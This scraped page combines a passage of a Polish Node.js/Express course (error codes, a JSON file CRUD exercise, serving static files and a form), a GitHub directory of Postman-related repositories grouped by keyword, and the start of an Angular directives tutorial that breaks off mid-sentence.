koniec adresu (tak jak w poprzednim rozdziale dopisaliśmy id). Powinieneś otrzymać następujący komunikat: Parametr next, który przekazujemy do funkcji jest funkcją, która pozwala “iść dalej" do kolejnej funkcji middleware lub zakończenia żądania. Można w ten sposób stworzyć także obsługę pozostałych błędów. Najczęściej obsługiwane błędy to: 400 - bad request - występuje gdy serwer nie może przetworzyć zapytania 401 - unauthorized - występuje gdy wymagane jest uwierzytelnienie, a nie zostało dostarczone 403 - forbidden - żądanie jest poprawne, jednak serwer odmawia odpowiedzi, może to wystąpić w przypadku gdy np. użytkownik jest zalogowany ale nie ma uprawnień do wykonania żądania 404 - not found - zasoby nie zostały znalezione 500 - internal server error - występuje gdy występują nieznane warunki i nie ma żadnej konkretnej wiadomości Zadanie: Operacje CRUD na pliku JSON Stwórzmy teraz aplikację, która będzie otwierać zewnętrzne pliki .json oraz edytować je. Zanim zaczniemy, w folderze projektu stwórz plik server.js, a następnie zainicjalizuj projekt poprzez wpisanie npm init w konsoli. Przejdźmy do pobrania potrzebnych zależności - tym razem będzie nam potrzebny Express oraz body-parser. Jak się zapewne domyślasz, możesz zainstalować je za pomocą komendy npm install --save express body-parser. Po pobraniu paczek, możemy śmiało przejść do pisania kodu - na początek przypisz zależności do zmiennych w pliku server.js. Dodaj także linijkę var fs = require('fs') - fs będzie nam potrzebny do operacji na plikach. Nie musimy go instalować, bo jest on wbudowany w Node :) Skoro zależności mamy już załatwione, zadeklaruj zmienną app, która wywoła funkcję express() oraz zmienną stringifyFile (na razie bez zadeklarowanej wartości). Tuż pod deklaracją zmiennych dodaj także linijkę app.use(bodyParser.json()); - to pozwoli Ci wykorzystać middleware body-parser, które zainstalowaliśmy przed chwilą. body-parser jest nam potrzebny, aby korzystać z formatu application/json - póki co nie przejmuj się pojęciem middleware, zajmiemy się nim nieco dalej w tym kursie :) Stwórz teraz endpoint GET /getNote, gdzie po wywołaniu zostanie wczytany Twój zewnętrzny plik JSON oraz wyświetlona zostanie jego zawartość. Przykłądowy plik test.json: {"menu": { "id": "file", "value": "File", "popup": { "menuitem": [ {"value": "New", "onclick": "CreateNewDoc()"}, {"value": "Open", "onclick": "OpenDoc()"}, {"value": "Close", "onclick": "CloseDoc()"} ] } }} Metoda która pozwoli nam na odczytanie pliku to readFile, którą można wywołać z zadeklarowanego wcześniej fs. Jako parametry przyjmuje ona najpierw plik, następnie opcje (np. kodowanie) i funkcję, która wywoła się po załadowaniu. W naszym przypadku będzie to więc następujący kod: fs.readFile('./test.json', 'utf8', function(err, data) { if (err) throw err; stringifyFile = data res.send(data); }); Teraz pora na stworzenie endpointa, który po wywołaniu nadpisze nam podany plik. Stworzymy do tego dynamiczny endpoint, który dopisze do pliku string, który przekażemy jako parametr. Stwórz tym razem POST na /updateNote/:note. Po jego wywołaniu tekst, który znajduje się w miejscu /:note powinniśmy dopisać do wczytanego pliku poprzez dodanie req.params.note do zmiennej stringifyFile, która przechowuje aktualną zawartość pliku. Po przypisaniu powyższej zmiennej, należy ponownie odwołać się do modułu fs tym razem używając metody writeFile. Pomoże nam w tym następujący fragment kodu: fs.writeFile('./test.json', stringifyFile, function(err) { If (err) throw err; console.log('file updated'); }); Na końcu pliku dodaj nasłuchiwanie na porcie 3000. Zapisz plik i uruchom aplikację wpisując node server.js w konsoli. Otwórz Postmana, ustaw metodę zapytania na GET, a w pole adresu wpisz http://localhost:3000/getNote. Jako response powinieneś otrzymać Twój stworzony wcześniej plik JSON. Po zmianie z GET na POST oraz wpisaniu /updateNote/test zamiast /getNote oraz wysłaniu requesta, Twój plik JSON powinien zostać zaktualizowany o słowo test :) Po ukończeniu zadania, wrzuć swój kod na Githuba i przekaż link do repozytorium mentorowi :) Podgląd zadania https://github.com/martinproxy0/Zadanie_17_3.git Wyslij link 17.4. Serwowanie plików statycznych Express posiada wbudowaną możliwość serwowania plików statycznych - takimi plikami są na przykład obrazki, pliki CSS czy JS. Aby serwować te pliki statycznie, wystarczy użyć express.static. Pliki statyczne to pliki, które zostają dostarczone do klienta bez generowania, modyfikacji czy przetwarzania - jedyne, co trzeba z nimi zrobić, to przekazać nazwę katalogu, w którym są przetrzymywane, do express.static - to wystarczy aby zacząć je serwować. Spróbujmy przedstawić to sobie na przykładzie. Załóżmy, że przetrzymujesz swoje zdjęcia i pliki CSS w katalogu assets/. Aby zacząć je serwować, możesz więc użyć następującej linijki: app.use(express.static('assets')); Zmodyfikujmy więc całkowicie naszą aplikację. Najpierw stwórzmy w katalogu projektu nowy katalog o nazwie assets/. Wrzućmy do niego jakiekolwiek zdjęcie/obrazek. W pliku server.js wróćmy do poprzedniego stanu (zanim zaczęliśmy zajmować się routingiem): var express = require('express'); var app = express(); app.get('/', function (req, res) { res.send('Hello world'); }); var server = app.listen(3000, 'localhost', function() { var host = server.address().address; var port = server.address().port; console.log('Przykładowa aplikacja nasłuchuje na http://' + host + ':' + port); }); W tym przykładzie sami definiujemy port i adres, ale w prawdziwej aplikacji moglibyśmy tych wartości nie znać. Częstym przykładem jest sytuacja w której adres i port są zdefiniowane w osobnym pliku konfiguracyjnym. Ten plik byłby inny na naszym komputerze niż na serwerze na którym będziemy publikować aplikację - ale nasz kod ma działać w obu lokalizacjach. Dlatego do wyświetlenia linka potrzebowalibyśmy pobrania tych danych za pomocą metody .address(). Pozostaje teraz jedynie w linii nr 3 dodać to, o czym powiedzieliśmy sobie chwilkę temu, czyli linijkę app.use(express.static('assets')); Dla przypomnienia, w nawiasach do express.static przekazujemy katalog, w którym znajdują się pliki, które chcemy serwować. Po zapisaniu pliku server.js, możemy uruchomić aplikację. Teraz, aby zobaczyć nasz obrazek, wystarczy że po http://localhost:3000/ podamy nazwę pliku z rozszerzeniem - u mnie wygląda to tak: Stwórz sobie teraz prosty plik index.html, który będzie miał formularz z dwoma inputami typu text (o nazwach first_name i last_name) oraz jednym typu submit. Element
posiada atrybuty takie jak action oraz method. Atrybut action pozwala określić, gdzie wysłać dane z formularza w momencie, gdy zostanie on zatwierdzony. W naszym przypadku będzie to http://localhost:3000/userform. Atrybut method określa metodę, jakiej chcemy użyć - w naszym przypadku niech będzie to GET. Przykładowo, Twój index.html może wyglądać tak: Node Hello world example

First Name:

Last Name:

Gdy już będzie gotowy, wrzuć go do katalogu /assets. Teraz czas na modyfikację pliku server.js. Najpierw zmieńmy to, co chcemy wysyłać, gdy zostanie wysłane żądanie do strony domowej. Zamień więc res.send('Hello world') na res.sendFile('/index.html') - jak się zapewne domyślasz, res.sendFile() wysyła w odpowiedzi plik zamiast wiadomości. Musimy również dodać obsługę żądania na endpoint, do którego będziemy kierować nasz formularz. app.get('/userform', function (req, res) { const response = { first_name: req.query.first_name, last_name: req.query.last_name }; res.end(JSON.stringify(response)); }); W czasie przetwarzania żądania, tworzymy nowy obiekt response, który ma klucze first_name oraz last_name. Do poszczególnych właściwości przypisujemy dane, które otrzymujemy w obiekcie req (od ang. request), czyli w obiekcie z żądaniem. Na koniec wyświetlamy nasz obiekt przetworzony na typ string za pomocą metody JSON.stringify. Po zapisaniu pliku server.js, aplikacja powinna pokazywać formularz, jak poniżej. Po wpisaniu wartości do inputów i wysłaniu ich, powinieneś zostać przekierowany do strony /userform, a po znaku zapytania powinny zostać wyświetlone parametry umieszczone przez Ciebie w inputach. Zadanie: Żonglujemy danymi pomiędzy endpointami Napisz kod obsługujący formularz zgodnie z wskazówkami z tego submodułu, a następnie wyślij swój kod na repozytorium oraz przekaż go do sprawdzenia mentorowi. Podgląd zadania https://github.com/martinproxy0/Zadanie_17_4.git Wyslij link 17.5. Middleware - pośrednik między żądaniem a odpowiedzią		 0 stars 0 watchers 0 forks
neomarmedina/prueba_meta
api blueprint, asyncapi, auth, docs, form, format, github, gitlab, http, https, json schema, laravel, list, meta, model, oauth, openid, resource, resources, servicio, source, sql, validation, variable, variables 		Prueba de la empresa MetaData : Crear un proyecto público en git (gitlab, github...) y compartirnos la url. Crear un proyecto API/Rest en Laravel 6 con los sig requerimientos: - PHP 7.3. - Base de datos Mysql 5 utf8mb4_unicode_ci llamada "prueba_meta". Crear Servicio tipo POST que registre un modelo "Author" con el atributo "name" Crear Servicio tipo POST que registre un modelo "Book" con los atributos "publish_date", "title", "author_id" Crear un servicio tipo GET que retorne un listado de los "Book" y sus autores. Crear las migraciones correspondientes para ambos modelos. (https://laravel.com/docs/6.x/migrations) Los servicios deben devolver sus respuestas en formato JSON y tener validaciones para sus atributos usando "Validator" (https://laravel.com/docs/6.x/validation) e implementar "Eloquent: API Resources" (https://laravel.com/docs/6.x/eloquent-resources). Los servicios serán probados en Postman después de levantar el servidor (php artisan serve) y colocadas las variables de entorno en el archivo .env 0 stars 0 watchers 0 forks

parallel (8 listings) (Back to Top)

m4nu56/newman-parallel-run
collection, function, multiple, newman, node, parallel, postman collection 		Simple node function to run multiple postman collection in parallel 9 stars 9 watchers 6 forks
mohamed-abdo/performance-load-test
api blueprint, asyncapi, collection, collections, data, ecosystem, express, form, json schema, local, oauth, openid, parallel, performance, postman collection, postman collections, result, running, sql, store, system, test, tests, unit 		Performance parallel load test ecosystem based on running postman collections in parallel in addition to capture test performance counters, and unit tests results; Exporting all results to (local) data store (sql express). 1 stars 1 watchers 0 forks
flash286/postman-load-testing
collection, collections, lang, newman, parallel, postman collection, postman collections, runner, test, testing, tool 		This tool written on go lang, help to run postman collections in parallel mode. So you can use it for load testing based on postman collections. As a runner it uses newman. 0 stars 0 watchers 1 forks
wcandillon/courrier
parallel, runner 		Postman runner that can run requests in parallel 0 stars 0 watchers 1 forks
h4n2k/newman-parallel-test
collection, multiple, newman, parallel, postman collection, test 		Simple parallel test which run multiple postman collection in parallel 0 stars 0 watchers 0 forks
compwron/parallel-postman-demo
description, parallel, script 		No description available. 0 stars 0 watchers 0 forks
parallel588/postman
description, parallel, script 		No description available. 0 stars 0 watchers 0 forks
PaulGilchrist/postman-load-test
execution, parallel, simulate, test 		Enhancement for PostMan allowing for parallel execution of API calls to simulate load or stress conditions 0 stars 0 watchers 0 forks

grant (8 listings) (Back to Top)

grantorchard/postman-collections
collection, collections, description, grant, script 		No description available. 10 stars 10 watchers 3 forks
cpvariyani/identityserver4-in-net-core-to-secure-public-microservice
client, demonstrate, entity, example, grant, integrate, integrated, microservice, microservices, package, packages, public, sample, secure, server, service, services, test, tested, type, video 		This is a practical example to demonstrate how to secure public microservices in .Net core using Identity server 4. In this video, we have created IdentityServer4, created sample public microservice, integrated that microservice with identity server and last this securing microservice using identity server is tested using postman. A practical example of How to create Identity server in .net core for grant type to client credentials. nuget packages for identity server are 2 IdentityServer4 and IdentityServer4.EntityFramework. and for microservice 1 nuget packages needs to be added Microsoft.AspNetCore.Authentication.JwtBearer 1 stars 1 watchers 0 forks
jabelk/cisco-nso-postman
cisco, collection, common, generate, grant, sample, task, tasks 		A collection of sample NSO API calls for common tasks, also used to generate the Swagger Docs Examples. All created using the nso-vagrant set up. 1 stars 1 watchers 0 forks
kemargrant/postman
grant 		Ether Message Relay Service 1 stars 1 watchers 0 forks
jaxxstone/postman-collections
automat, automation, collection, collections, copied, grant, test, testing 		copied from /grantorchard for testing vRA automation 0 stars 0 watchers 0 forks
mbisht/restfulapi
grant, laravel, rest, restful, restfulapi 		laravel-postman-vagrant 0 stars 0 watchers 0 forks
aymenfurter/ubuntu-dev-vagrant
development, general, grant, install, installed, integration, ubuntu 		Ubuntu Dev Station with preinstalled Postman, SOAPUI, VSCode, Eclipse, Maven, JDK 8 / 11, plantUML, i3 for integration and general purpose development work. 0 stars 0 watchers 0 forks
shawnzxx/PostmanTestAzureB2C
grant, token, webapi 		Postman use to grant token, webapi use for validate token 0 stars 0 watchers 0 forks

passport (8 listings) (Back to Top)

Inn4ki/chatapp
admin, application, applications, auth, chat, completed, computer, course, debug, debugging, design, designed, engine, file, files, form, format, included, including, lang, language, learn, learned, learning, lesson, logging, middleware, parameter, passing, passport, program, programming, protecting, quality, query, rating, route, router, routes, sets, speed, sync, training, tutorial, user, users, validation, video, web app 		NODE.JS WEB APPS WITH EXPRESS by Wes Higbee In this Node.js Web Apps with Express training course, expert author Wes Higbee will teach you how to create web applications and APIs with Express. This course is designed for users that are already familiar with HTML, CSS, and JavaScript. You will start by learning how to set up a web app, then jump into learning about the Jade view engine. From there, Wes will teach you about CRUD, including how to add the chat room view, respond with JSON, and edit chat rooms. This video tutorial also covers routers, middleware, APIs, and logging and debugging. Finally, you will learn about auth with passport, including passport user validation, protecting admin routes, and query string parameters. Once you have completed this computer based training course, you will have learned how to create web applications and APIs with Express. Working files are included, allowing you to follow along with the author throughout the lessons. About the Publisher Presented in stunning HD quality, the Infinite Skills range of video based training provides a clear and concise way to learn computer applications and programming languages at your own speed. Delivered to your Desktop, iPad ... More about Infinite Skills Table of Contents Setting Up A Web App What You Will Learn 00:03:28 About The Author 00:01:23 Project Setup 00:02:14 Spinning Up Our Server From Scratch 00:05:11 Serving Index.HTML 00:04:32 Serving Bootstrap Assets 00:05:52 Styling Our Site 00:01:16 How To Access Your Working Files 00:01:15 The Jade View Engine Why View Engines? 00:02:10 The Jade View Engine 00:06:32 HTML Tags In Jade 00:02:16 Attributes Classes And Ids In Jade 00:02:06 Serving Up Jade Views 00:04:24 HTML Reuse In Jade 00:06:26 Code In Jade Views 00:02:37 Passing Data To View Rendering 00:02:01 Setting A Default View Engine 00:00:37 String Interpolation In Jade 00:02:30 Generating Tables In Jade 00:03:50 Tabs And Spaces Oh My 00:01:21 Demystifying Jade 00:02:21 Crud Setting The Stage 00:01:01 Add Chat Room View 00:04:21 Post Chat Room Form 00:06:56 Parsing Form Data From The Request Body 00:04:22 Responding With JSON 00:03:20 Admin Chat Rooms Workflow 00:02:21 Named Route Parameters To Delete Rooms 00:05:59 Edit Chat Rooms 00:06:01 Edit Chat Rooms Part - 2 00:02:00 Responding With 404 Not Found 00:01:39 Wrap Up 00:01:23 Routers Extracting An Admin Module 00:04:47 Modular Admin Router 00:04:00 Pluggable Admin Mount Path 00:03:15 Stumbling Block - Relative Redirects 00:02:49 Chaining Routes 00:01:57 Middleware Understanding Routing And Middleware 00:05:45 Adding Custom Logging Middleware 00:02:15 Understanding Next() 00:01:31 Middleware To Fetch Data 00:07:24 Order Matters.Av 00:01:09 Scoping Middleware 00:03:53 What To Do With Errors 00:03:01 Last Thoughts 00:03:19 APIs A Client Side Chat App 00:01:55 Setup The Client Side Chat App 00:03:01 Creating An API 00:05:42 Modules Are Singletons 00:01:50 Postman To Test API 00:01:24 API Get Room Messages 00:05:49 Posting To An API 00:03:37 API To Delete Messages 00:03:15 Parsing JSON In The Request Body 00:03:25 Logging And Debugging Express-Debug 00:03:03 Logging With Morgan 00:01:45 File Access Log With Morgan 00:01:28 Built-In Express Debugging 00:01:57 When Things Go Wrong Throwing An Error In A Route Handler 00:01:39 Errors In Production 00:01:53 Custom Error Handlers 00:02:40 Browser Hangs 00:00:58 Hanging Async Request Handlers 00:01:17 Errors In Callbacks 00:03:32 Don't Swallow Callback Errors 00:02:46 Auth With Passport Auth With Passport 00:01:49 Login Form 00:06:31 Passport User Validation 00:05:20 Passport Session Serialization 00:01:49 Logging In 00:06:23 Logout 00:03:52 Authorizing Access To Block Anonymous Users 00:03:40 Protecting Admin Routes 00:02:04 Using User Information 00:02:48 Bypassing Login In Development 00:03:11 Query String Parameters 00:02:34 Auth Cookies 00:02:17 Last Thoughts 00:05:45 Publisher: Infinite Skills Release Date: March 2016 ISBN: 9781491958933 Running time: 4:09:49 Topic: Node.js 4 stars 4 watchers 5 forks
kungkk/laravel-passport-postman
laravel, passport 		Laravel Framework using Passport, Grant Type: Client Credential 0 stars 0 watchers 0 forks
NriqueIsCoding/laravel_api_register_login
auth, authentication, implementation, laravel, login, passport, register 		This is a basic implementation of an API using Laravel and passport for authentication. Tested using postman 0 stars 0 watchers 0 forks
ryanhs/learn-laravel-passport
laravel, learn, passport 		learn laravel-passport with postman 0 stars 0 watchers 0 forks
selva1990kumar/auth0_expressToken_passport_postmanAPICalling
auth, auth0, description, express, passport, script 		No description available. 0 stars 0 watchers 0 forks
DV2017/lectures-api
auth, authentication, passport, test, tested 		A fully tested (in postman) Laravel 5.7 API with simple authentication without passport 0 stars 0 watchers 0 forks
Ranagol/passport
passport 		Experimenting with Laravel-Passport and Postman. Using Laravel/Telescope for follow up. 0 stars 0 watchers 0 forks
thangpdtt/nodejs_babeljs_expressjs_mongodb_passport_tests_tdd_postman
auth, authenticate, babel, data, express, expressjs, framework, mongo, mongod, mongodb, node, nodejs, passport, store, test, tests 		The simple app that used express framework with babel compiler run on nodejs. This used passport to authenticate and MongoDb to store data. 0 stars 0 watchers 0 forks

updating (8 listings) (Back to Top)

WebDevInfrastructure/MailingLists
development, general, import, interface, list, lists, maintained, single, standard, struct, structure, updating 		Mailing lists are an important part of the infrastructure of development of Web standards - generally PostMan is the standard, but it is maintained by a single individual and the interface/features could use some updating. 3 stars 3 watchers 1 forks
PearsonDevelopersNetwork/LearningStudio-HelloWorld-CSharp
advance, advanced, application, browser, console, data, exploring, form, format, function, functional, information, pointing, preferred, prior, returned, running, sandbox, site, updating, website 		Start exploring the APIs right away with this fully-functional application that works right out of the box. Using your browser, you can get started with running any GET request to see how data is returned; try more advanced calls (creating and updating information) by pointing your preferred API console at it (e.g., Postman or Fiddler). You will need a key and sandbox prior to using it, available through the PDN website. 1 stars 1 watchers 1 forks
PearsonDevelopersNetwork/LearningStudio-HelloWorld-PHP
advance, advanced, application, browser, console, data, exploring, form, format, function, functional, information, pointing, preferred, prior, returned, running, sandbox, site, updating, website 		Start exploring the APIs right away with this fully-functional application that works right out of the box. Using your browser, you can get started with running any GET request to see how data is returned; try more advanced calls (creating and updating information) by pointing your preferred API console at it (e.g., Postman or Fiddler). You will need a key and sandbox prior to using it, available through the PDN website. 1 stars 1 watchers 1 forks
PearsonDevelopersNetwork/LearningStudio-HelloWorld-Java
advance, advanced, application, browser, console, data, exploring, form, format, function, functional, information, pointing, preferred, prior, returned, running, sandbox, site, updating, website 		Start exploring the APIs right away with this fully-functional application that works right out of the box. Using your browser, you can get started with running any GET request to see how data is returned; try more advanced calls (creating and updating information) by pointing your preferred API console at it (e.g., Postman or Fiddler). You will need a key and sandbox prior to using it, available through the PDN website. 0 stars 0 watchers 3 forks
PearsonDevelopersNetwork/LearningStudio-HelloWorld-Ruby
advance, advanced, application, browser, console, data, exploring, form, format, function, functional, information, pointing, preferred, prior, returned, running, sandbox, site, updating, website 		Start exploring the APIs right away with this fully-functional application that works right out of the box. Using your browser, you can get started with running any GET request to see how data is returned; try more advanced calls (creating and updating information) by pointing your preferred API console at it (e.g., Postman or Fiddler). You will need a key and sandbox prior to using it, available through the PDN website. 1 stars 1 watchers 0 forks
Umang080799/CRUD-App-
action, book, books, details, form, host, local, object, objects, reading, rest, restful, route, routes, server, updating 		I made a Crud App using Node.js,Express.js and Mongoose.js. I built out a book Schema for creating,reading,updating and deleting books. Used Express Scripts to create routes that will form the basis for a restful API. Used POSTMAN to perform actions on the routes All the book details were altered as JSON objects. I created and used Google Chrome to confirm the changes made on the local host server port 8080. 1 stars 1 watchers 0 forks
Marqueb82/REST-CarApp
find, list, service, test, testing, updating, vehicles 		REST-Service for car management allowing viewing list of cars, finding by id, updating, deleting and adding new vehicles. Used Postman for testing of service. 0 stars 0 watchers 0 forks
PearsonDevelopersNetwork/LearningStudio-HelloWorld-Python
advance, advanced, application, browser, console, data, exploring, form, format, function, functional, information, pointing, preferred, prior, returned, running, sandbox, site, updating, website 		Start exploring the APIs right away with this fully-functional application that works right out of the box. Using your browser, you can get started with running any GET request to see how data is returned; try more advanced calls (creating and updating information) by pointing your preferred API console at it (e.g., Postman or Fiddler). You will need a key and sandbox prior to using it, available through the PDN website. 0 stars 0 watchers 0 forks

cost (8 listings) (Back to Top)

argemirocosta/homefashion_test_postman
cost, home, test 		Test for Home Fashion Api using Postman. 1 stars 1 watchers 0 forks
nyxgear/PSD-e-service-pronto-soccorso
backend, concept, cost, mini, service 		Proof of concept di un backend costituito da API REST di un e-Service per l'amministrazione delle dinamiche di Pronto Soccorso. Progetto per il corso di Process and Service Design (A.Y. 2017/2018) presso il Politecnico di Milano. 1 stars 1 watchers 0 forks
TruthZZ/Single-cost-limited-Chinese-Postman-Problem
cost, implementation, route, single 		A Python implementation for Chinese Postman Problem with a limitation on the length of a single route based on heuristic algorithm 1 stars 1 watchers 0 forks
teamcasper/dog-match
backend, cost, design, designed, form, format, front end, information, location, match, mongo, test, tested 		Group project for Alchemy's code lab 401. It was designed for potential buyers and sellers to provide dog information such as cost, location, breed, etc. It was built using Node and mongoDB on the backend, and tested with postman and Heroku on the front end. 0 stars 0 watchers 2 forks
bitserikacosta/postman-jenkins
cost, description, jenkins, script 		No description available. 0 stars 0 watchers 0 forks
dreamcosta/postman_test
cost, description, script, test 		No description available. 0 stars 0 watchers 0 forks
Autodesk-Forge/forge-bim360.costmanagement.api-postman.collection
collection, cost, forge, including 		Postman collection including the BIM 360 Cost Management API List and Tutorial 0 stars 0 watchers 0 forks
dncosta/postman-doc
commerce, cost, ecommerce, form, place, platform 		Moip API Documentation for marketplaces and ecommerce platforms. 0 stars 0 watchers 0 forks

boiler (8 listings) (Back to Top)

Massad/gin-boilerplate
boiler, boilerplate, data, database, default, fastest, lang, rest, restful, skeleton, starter, storage, struct, structure, test 		The fastest way to deploy a (skeleton) restful api’s with Golang - Gin Framework with a structured starter project that defaults to PostgreSQL database and Redis as the session storage. 0 stars 0 watchers 65 forks
nicp0nim/rest-api
boiler, boilerplate, rest, restful, restfull 		Laravel restfull api boilerplate 0 stars 0 watchers 22 forks
sn0112358/Angular-Directive-Project
access, active, advance, angular, array, boiler, boilerplate, case, changing, check, city, common, complex, config, connection, console, controller, convert, converte, correct, current, data, debug, default, definition, description, developer, directives, directory, display, element, elements, email, ember, essential, event, example, expect, explore, file, find, folder, following, forge, form, format, function, functional, general, home, html, http, import, included, index, information, initial, inject, inside, instance, instruction, invoking, issue, learn, learning, lesson, lines, link, list, listen, location, mail, match, mean, media, method, module, move, named, namely, names, note, object, objects, order, parameter, parent, passing, path, place, play, previous, print, problem, projects, properties, reference, replace, result, reusable, route, router, script, select, sense, service, sets, single, spec, struct, style, talent, talk, template, test, things, to do, tutorial, usable, user, users, variable, weather, whole, wrapper, wrappers, wraps 		Angular-Directive-Project Directives range from very basic to extremely complex. This project will build up to some somewhat difficult directives. Keep in mind that the format we're learning for directives is the same format used to build some extremely complex things in angular. Using directives often and well is one way to show you're a talented developer. Starting Out We've included only a few things for you to begin with. index.html, app.js, styles.css. At this point the best way to get more comfortable with angular is to initialize an app without relying heavily on boilerplate code (reusable code that starts out your projects for you). You'll notice that in the index.html we've included the angular-route CDN. Yes, we'll be using angular's router here. Put an ng-view into your index.html. In your app.js set up a config and set up our first route for when a user is at the '/home' url. If you're having trouble remembering how to set up the router go look at how you set up the router on the previous project. One way these projects will be beneficial to you is allowing you to look back at something *you** did and seeing how you got that something to work.* You may also want add an otherwise that defaults to /home. Create a controller and a template file for this route in your app folder. Don't forget to include the controller as a script in your index.html Check that everything is hooked up correctly. Try adding a div with some text in your home template just to make sure it's showing up. Once you've got that going you're ready to start on some directives. Now let's make our directive. We'll start with a simple one that we can use to display information passed to it. Step 1. Start your directive Woot. When you're initializing your directive just remember that it works very similarly to how you start up a controller or a service. It can also be very helpful to think of your directive as a route. Create your directive. You'll use the directive method on your angular module. It takes two arguments, the name string and the callback function, which will return the object that represents your directive. When naming your directive give it a name with two words; dirDisplay would be nice, but anything works. Just remember it's best practice to give a directive a camel case name so that it's clear in your html what it is. Also we're going to need a template html for our directive. We could do it inline, but let's make another file instead. Just name it something that makes sense for the name of your directive and put it in the same directory as your directive file. For your template just make a and inside a tag that says User. Now in your home route html add in your directive. It will look like this if you named it dirDisplay: Start up your app and go to the home route. Check and make sure you see User where your directive was placed. If you're not seeing it at this point it could mean a few things. Here's some more common issues. You didn't link your directive in your index as a script. Your name for your directive doesn't match the name in your html. Remember camel case becomes snake case so myDirective becomes . You're file path to your html template is wrong. You have to think of file paths in angular as relative to the index. Here's some code to see just for this part, and just for the directive's js file. var app = angular.module('directivePractice'); app.directive('dirDisplay', function(){ return { templateUrl: 'app/directives/dirDisplay.html' }; }); What we're returning is the directive object. You won't see anymore code in this tutorial so it's important you get things working right and refer back to what you've already done to advance from now on. Step 2. Advancing directives Your directive should be loaded up now, but it's not really doing much. Let's make it better. In your home controller. Make a variable on your $scope called user. Set it's value to { name: "Geoff McMammy", age: 43, email: "[email protected]" } Now inside your directive's html specifically inside the tags display our new user's name. Then inside maybe some tags display his email and age. This is going to work exactly the same as if it was just inside your home controller. Reload the page and make sure it works. This is still very cosmetic and really not all that useful. It needs functionality. Add into your directive's object the link property. The link property's value is a function definition that takes (generally) three parameters. scope, element, and attributes. Unlike in other places with angular injection these parameter names don't carry meaning. The first parameter will always represent your $scope for that directive, the second will always be the element that wraps your whole directive, and the third will always be an object containing all the properties and values of the attributes on your directive in the dom. Try the following to get a feel for all three. Add two attributes to your directive in your html. Like this - Now in the link property you've added console.log the three parameters in the function. You'll see an object for scope that should look identical to the $scope of your html function. For element you'll see an object the represents the DOM wrapper for your directive. For attributes you'll see an object that will look like this: { test: "myTest", myCheck: "checkItOut" } An important thing to notice is how it has again converted snake case to camel case for you. my-check became myCheck. Don't forget this. You'll run into this issue one day. It counts for both attributes and directive names. To feel some of what the link function could do let's try this. Add a ng-show to both the email and age wrappers. This should be familiar to you. Now inside your link function add a click event listener to your element property. It's going to look just like jQuery. element.on('click', function(){ }) Inside the click listener's callback add a toggle for the ng-show property you passed in. Along with a console.log to make sure things are connecting when you click. Try it out. Don't call for a mentor when it doesn't work. Let's talk about that first. You should see the console.log firing, but why isn't it toggling. This is going to be a common problem when working with the link function and event listeners. What we have here is an angular digest problem. The value is changing on the scope object, but the change isn't being reflected by our DOM. That's because angular isn't aware of the change yet. Anytime we cause an event to happen using something like jQuery or even angular's jQLite we need to let angular know that we've made a change. Add this line of code in place of your console.log, scope.$apply(). Now try it out. It should be working now, so if you're still having issues it's time to debug. What we've done is forced angular to run it's digest cycle. This is where angular checks the scope object for changes and then applies those to the DOM. This is another good lesson to learn for later. You'll most likely hit this when making changes to your element using event listeners. Step 3. Directive's re-usability. Now our directive has some extremely basic functionality. One of a directive's greatest advantages though is its ability to be placed anywhere and still be functional. Let's say instead we had a list of users instead of just one. Change the $scope property in your home controller to be users and give it this array as its value: [ { name: "Geoff McMammy", age: 43, email: "[email protected]", city: "Provo" }, { name: "Frederick Deeder", age: 26, email: "[email protected]", city: "Austin" }, { name: "Spencer Rentz", age: 35, email: "[email protected]", city: "Sacramento" }, { name: "Geddup Ngo", age: 43, email: "[email protected]", city: "Orlando" }, { name: "Donst Opbie Leevin", age: 67, email: "[email protected]", city: "Phoenix" } ] Now in your home HTML add a ng-repeat to the directive call. Tell it to repeat for each user in users. Reload your page. It's working! But why? How does each directive instance know what information to display? In the link function console.log the scope parameter. Make sure it's outside of your click listener. You'll see five print outs in your console. Open up any one of them and look to the bottom. Open up the user property. It's exactly what we would want! But again why would that be the case? Don't get too caught up in this next bit if it's too hard to understand, but the ng-repeat is essentially making new tiny scope objects for each individual user in our users array. Now each of our directives is still getting a user property on the scope object just like the directive wanted in the beginning. Woot. Step 4. Ramp it up with Isolate Scope. Directives can do so much more. So let's make that happen. That means we should make.... a new directive!!! This directive's purpose will be to display a selected User and the weather in his/her/its location. Link it up just like the last one. Create a js file for our directive and name it dirWeather. Make an html file named dirWeather.html. Link it up in your index.html and add the template to your new directive object. In your directive's template give it an tag that says Weather just so we can know it's working. Above your ng-repeat on dirDisplay add your new dirWeather directive. If it's not working check the instructions above as to some common reasons why before asking a mentor for help. If you're seeing the Weather text on your page then we're ready to try out the dreaded Isolate Scope. The isolate scope object is one of the stranger API's in angular. I'm sorry but it is. Just refer to this for now. scope: { string: '@', link: '=', func: '&' } The properties on the scope object represent the attributes on the directive in the html. Our example scope object here would look something like this in the html. The hard part here is the @, =, and &. They each have very important and distinct meanings. @ says take in my attribute value as a string. = says take in my attribute value as a two-way bound variable from the parent scope. & says take in my attribute value as a reference to a function on the parent scope. It's also critical to point out that once you add a scope object you have no isolated your directive's scope. Meaning, aside from the values passed in through attributes, this directive has no connection to the $scope of its parent. That being said let's isolate our directive's scope. :worried: Add the scope property to your dirWeather. Give it the value of an object with a property of currentUser whose value is '='. Remember in your html this will look like current-user. This is the third time I've said so don't expect it again. This means that whatever comes into the currentUser attribute is going to be a value of the parent's scope object. For now test this out by passing in users[0]. Find a way to show that users information inside your dirWeather's html. Remember inside your directive now the user is represented by currentUser. Step 5. &? &!? The '=' value on your scope object has created a two-way binding between users[0] and currentUser. Now let's try out the '&'. On your home controller add a function called getWeather. It takes one parameter called city. This function will make a call to a service so we'll need to create that. Make a weather service. Name it something cool and creative like weatherService. Inside the weather service make a function called getWeather that also takes one parameter, city. Make an $http get to this url - 'http://api.openweathermap.org/data/2.5/weather?q=' After the q= add on the city parameter. If you want you can test this out in postman. See what kind of data you get back. If it's the weather of that city then... you win! Use $q to return a promise that only resolves with the data you want. Temperature (preferably not in Kelvin) and the weather description. Use console.log on the data coming from the $http request to get to what you want. You'll need to add both on an object that you resolve your new promise with. On your home controller have it return the result of invoking the get getWeather function on the service. You should be returning a promise. Now in your home route's HTML pass in the getWeather function to the dirWeather directive through an attribute called weather-call. Add the attribute to your isolate scope object. That was a lot of linking, but let's walk through it. Your controller has a function linked to the service, which is in turn linked to your directive. So if you run the weatherCall function in your directive it will go through your controller to your service and then back. Now things get a little bit tricky. Angular's way of passing along arguments through a directive to your controller are tricky, but once you understand how to do it, it's not hard. I'm going to give an example here of how it works. Here's how it would look in your HTML. But where's the data supposed to be coming from? It seems that 